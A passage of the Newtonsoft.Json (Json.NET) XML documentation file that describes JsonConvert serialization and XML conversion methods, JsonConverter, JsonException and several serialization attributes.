cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to serialize the object.\n            If this is <c>null</c>, default serialization settings will be used.</param>\n            <param name=\"type\">\n            The type of the value being serialized.\n            This parameter is used when <see cref=\"P:Newtonsoft.Json.JsonSerializer.TypeNameHandling\"/> is <see cref=\"F:Newtonsoft.Json.TypeNameHandling.Auto\"/> to write out the type name if the type of the value does not match.\n            Specifying the type is optional.\n            </param>\n            <returns>\n            A JSON string representation of the object.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String)\">\n            <summary>\n            Deserializes the JSON to a .NET object.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to a .NET object using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The <see cref=\"T:System.Type\"/> of object being deserialized.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeAnonymousType``1(System.String,``0,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the given anonymous type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">\n            The anonymous type to deserialize to. This can't be specified\n            traditionally and must be inferred from the anonymous type passed\n            as a parameter.\n            </typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"anonymousTypeObject\">The anonymous type object.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized anonymous type from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject``1(System.String,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <typeparam name=\"T\">The type of the object to deserialize to.</typeparam>\n            <param name=\"value\">The object to deserialize.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize.</param>\n            <param name=\"converters\">Converters to use while deserializing.</param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeObject(System.String,System.Type,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Deserializes the JSON to the specified .NET type using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to deserialize.</param>\n            <param name=\"type\">The type of the object to deserialize to.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n            <returns>The deserialized object from the JSON string.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object)\">\n            <summary>\n            Populates the object with values from the JSON string.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.PopulateObject(System.String,System.Object,Newtonsoft.Json.JsonSerializerSettings)\">\n            <summary>\n            Populates the object with values from the JSON string using <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/>.\n            </summary>\n            <param name=\"value\">The JSON to populate values from.</param>\n            <param name=\"target\">The target object to populate values onto.</param>\n            <param name=\"settings\">\n            The <see cref=\"T:Newtonsoft.Json.JsonSerializerSettings\"/> used to deserialize the object.\n            If this is <c>null</c>, default serialization settings will be used.\n            </param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXmlNode(System.Xml.XmlNode,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.XmlNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXmlNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.XmlNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.XmlNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting.\n            </summary>\n            <param name=\"node\">The node to convert to JSON.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.SerializeXNode(System.Xml.Linq.XObject,Newtonsoft.Json.Formatting,System.Boolean)\">\n            <summary>\n            Serializes the <see cref=\"T:System.Xml.Linq.XNode\"/> to a JSON string using formatting and omits the root object if <paramref name=\"omitRootObject\"/> is <c>true</c>.\n            </summary>\n            <param name=\"node\">The node to serialize.</param>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"omitRootObject\">Omits writing the root object.</param>\n            <returns>A JSON string of the <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>\n            and writes a Json.NET array attribute for collections.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConvert.DeserializeXNode(System.String,System.String,System.Boolean,System.Boolean)\">\n            <summary>\n            Deserializes the <see cref=\"T:System.Xml.Linq.XNode\"/> from a JSON string nested in a root element specified by <paramref name=\"deserializeRootElementName\"/>,\n            writes a Json.NET array attribute for collections, and encodes special characters.\n            </summary>\n            <param name=\"value\">The JSON string.</param>\n            <param name=\"deserializeRootElementName\">The name of the root element to append when deserializing.</param>\n            <param name=\"writeArrayAttribute\">\n            A value to indicate whether to write the Json.NET array attribute.\n            This attribute helps preserve arrays when converting the written XML back to JSON.\n            </param>\n            <param name=\"encodeSpecialCharacters\">\n            A value to indicate whether to encode special characters when converting JSON to XML.\n            If <c>true</c>, special characters like ':', '@', '?', '#' and '$' in JSON property names aren't used to specify\n            XML namespaces, attributes or processing directives. Instead special characters are encoded and written\n            as part of the XML element name.\n            </param>\n            <returns>The deserialized <see cref=\"T:System.Xml.Linq.XNode\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanRead\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can read JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverter.CanWrite\">\n            <summary>\n            Gets a value indicating whether this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON.\n            </summary>\n            <value><c>true</c> if this <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> can write JSON; otherwise, <c>false</c>.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverter`1\">\n            <summary>\n            Converts an object to and from JSON.\n            </summary>\n            <typeparam name=\"T\">The object type to convert.</typeparam>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.WriteJson(Newtonsoft.Json.JsonWriter,`0,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Writes the JSON representation of the object.\n            </summary>\n            <param name=\"writer\">The <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> to write to.</param>\n            <param name=\"value\">The value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,System.Object,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.ReadJson(Newtonsoft.Json.JsonReader,System.Type,`0,System.Boolean,Newtonsoft.Json.JsonSerializer)\">\n            <summary>\n            Reads the JSON representation of the object.\n            </summary>\n            <param name=\"reader\">The <see cref=\"T:Newtonsoft.Json.JsonReader\"/> to read from.</param>\n            <param name=\"objectType\">Type of the object.</param>\n            <param name=\"existingValue\">The existing value of object being read. If there is no existing value then <c>null</c> will be used.</param>\n            <param name=\"hasExistingValue\">The existing value has a value.</param>\n            <param name=\"serializer\">The calling serializer.</param>\n            <returns>The object value.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverter`1.CanConvert(System.Type)\">\n            <summary>\n            Determines whether this instance can convert the specified object type.\n            </summary>\n            <param name=\"objectType\">Type of the object.</param>\n            <returns>\n            \t<c>true</c> if this instance can convert the specified object type; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to use the specified <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> when serializing the member or class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\">\n            <summary>\n            Gets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonConverterAttribute.ConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonConverterAttribute.#ctor(System.Type,System.Object[])\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonConverterAttribute\"/> class.\n            </summary>\n            <param name=\"converterType\">Type of the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.</param>\n            <param name=\"converterParameters\">Parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>. Can be <c>null</c>.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonConverterCollection\">\n            <summary>\n            Represents a collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonDictionaryAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the collection.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonDictionaryAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonDictionaryAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonException\">\n            <summary>\n            The exception thrown when an error occurs during JSON serialization or deserialization.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.String,System.Exception)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class\n            with a specified error message and a reference to the inner exception that is the cause of this exception.\n            </summary>\n            <param name=\"message\">The error message that explains the reason for the exception.</param>\n            <param name=\"innerException\">The exception that is the cause of the current exception, or <c>null</c> if no inner exception is specified.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonException.#ctor(System.Runtime.Serialization.SerializationInfo,System.Runtime.Serialization.StreamingContext)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonException\"/> class.\n            </summary>\n            <param name=\"info\">The <see cref=\"T:System.Runtime.Serialization.SerializationInfo\"/> that holds the serialized object data about the exception being thrown.</param>\n            <param name=\"context\">The <see cref=\"T:System.Runtime.Serialization.StreamingContext\"/> that contains contextual information about the source or destination.</param>\n            <exception cref=\"T:System.ArgumentNullException\">The <paramref name=\"info\"/> parameter is <c>null</c>.</exception>\n            <exception cref=\"T:System.Runtime.Serialization.SerializationException\">The class name is <c>null</c> or <see cref=\"P:System.Exception.HResult\"/> is zero (0).</exception>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to deserialize properties with no matching class member into the specified collection\n            and write values during serialization.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.WriteData\">\n            <summary>\n            Gets or sets a value that indicates whether to write extension data when serializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to write extension data when serializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonExtensionDataAttribute.ReadData\">\n            <summary>\n            Gets or sets a value that indicates whether to read extension data when deserializing the object.\n            </summary>\n            <value>\n            \t<c>true</c> to read extension data when deserializing the object; otherwise, <c>false</c>. The default is <c>true</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonExtensionDataAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonExtensionDataAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonIgnoreAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> not to serialize the public field or public read/write property value.\n            </summary>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonNameTable\">\n            <summary>\n            Base class for a table of atomized string objects.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonNameTable.Get(System.Char[],System.Int32,System.Int32)\">\n            <summary>\n            Gets a string containing the same characters as the specified range of characters in the given array.\n            </summary>\n            <param name=\"key\">The character array containing the name to find.</param>\n            <param name=\"start\">The zero-based index into the array specifying the first character of the name.</param>\n            <param name=\"length\">The number of characters in the name.</param>\n            <returns>A string containing the same characters as the specified range of characters in the given array.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonObjectAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> how to serialize the object.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MemberSerialization\">\n            <summary>\n            Gets or sets the member serialization.\n            </summary>\n            <value>The member serialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.MissingMemberHandling\">\n            <summary>\n            Gets or sets the missing member handling used when deserializing this object.\n            </summary>\n            <value>The missing member handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemNullValueHandling\">\n            <summary>\n            Gets or sets how the object's properties with null values are handled during serialization and deserialization.\n            </summary>\n            <value>How the object's properties with null values are handled during serialization and deserialization.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonObjectAttribute.ItemRequired\">\n            <summary>\n            Gets or sets a value that indicates whether the object's properties are required.\n            </summary>\n            <value>\n            \tA value indicating whether the object's properties are required.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(Newtonsoft.Json.MemberSerialization)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified member serialization.\n            </summary>\n            <param name=\"memberSerialization\">The member serialization.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.JsonObjectAttribute.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.JsonObjectAttribute\"/> class with the specified container Id.\n            </summary>\n            <param name=\"id\">The container Id.</param>\n        </member>\n        <member name=\"T:Newtonsoft.Json.JsonPropertyAttribute\">\n            <summary>\n            Instructs the <see cref=\"T:Newtonsoft.Json.JsonSerializer\"/> to always serialize the member with the specified name.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\">\n            <summary>\n            Gets or sets the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type used when serializing the property's collection items.\n            </summary>\n            <value>The collection's items <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.ItemConverterType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(ItemConverterType = typeof(MyContainerConverter), ItemConverterParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\">\n            <summary>\n            Gets or sets the <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.\n            </summary>\n            <value>The <see cref=\"T:System.Type\"/> of the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyParameters\">\n            <summary>\n            The parameter list to use when constructing the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> described by <see cref=\"P:Newtonsoft.Json.JsonPropertyAttribute.NamingStrategyType\"/>.\n            If <c>null</c>, the default constructor is used.\n            When non-<c>null</c>, there must be a constructor defined in the <see cref=\"T:Newtonsoft.Json.Serialization.NamingStrategy\"/> that exactly matches the number,\n            order, and type of these parameters.\n            </summary>\n            <example>\n            <code>\n            [JsonProperty(NamingStrategyType = typeof(MyNamingStrategy), NamingStrategyParameters = new object[] { 123, \"Four\" })]\n            </code>\n            </example>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.NullValueHandling\">\n            <summary>\n            Gets or sets the null value handling used when serializing this property.\n            </summary>\n            <value>The null value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.DefaultValueHandling\">\n            <summary>\n            Gets or sets the default value handling used when serializing this property.\n            </summary>\n            <value>The default value handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.JsonPropertyAttribute.ReferenceLoopHandling\">\n            <summary>\n            Gets or sets the reference loop handling used when serializing this property.\n            </summary>\n            